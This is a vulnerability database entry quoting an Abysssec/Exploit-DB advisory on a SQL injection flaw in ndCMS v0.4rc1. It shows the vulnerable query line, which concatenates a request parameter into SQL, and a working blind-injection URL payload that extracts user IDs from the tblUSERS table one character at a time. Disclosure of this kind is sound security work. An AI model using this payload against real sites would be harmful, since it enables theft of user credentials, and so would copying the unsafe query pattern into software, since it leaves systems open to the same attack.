ndCMS Sql Injection Vulnerability

vendor:

ndCMS

by:

Abysssec Inc

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: ndCMS

Affected Version From: ndCMS(Nickel and Dime CMS) v0.4rc1

Affected Version To: ndCMS(Nickel and Dime CMS) v0.4rc1

Patch Exists: YES

Related CWE: N/A

CPE: a:nickel_and_dime_cms:ndcms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

ndCMS Sql Injection Vulnerability

This version of ndCMS has Sql Injection Vulnerability that its DataBase is Access with Table of Users : tblUSERS Columns : userid , passwd. Considering to the code, for example you can browse this URL: http://Example.com/express_edit/editor.aspx?index=1+AND+1=IIF((select mid(last(userid),1,1) from (select top 1 userid from tblUSERS))='a',1,2) and so on.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.

Source

Exploit-DB raw data:

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-27-ndcms-sql-injection-vulnerability/

'''



Abysssec Inc Public Advisory
 
 
  Title            :  ndCMS Sql Injection Vulnerability
  Affected Version :  ndCMS(Nickel and Dime CMS) v0.4rc1
  Discovery        :  www.abysssec.com
  Download Links   :  http://souurceforge.net/projects/ndcms-net
  Login Page       :  http://localhost/ndcms/admin/?Mode=Express&indx=
 
Description :
===========================================================================================      
  This version of ndCMS has Sql Injection Vulnerability that its DataBase is Access
  with  Table of Users   : tblUSERS 
                 Columns : userid , passwd.


  Vulnerable Code:
         .../express_edit/editor.aspx
  Ln 65:
         dbr = db.ExecuteReader("Select * from tblPAGES WHERE indx=" + Request.Params["indx"]);
    
   
   Considering to the code, for example you can browse this URL:
   
         http://Example.com/express_edit/editor.aspx?index=1+AND+1=IIF((select mid(last(userid),1,1) from (select top 1 userid from tblUSERS))='a',1,2)

   and so on.
   

===========================================================================================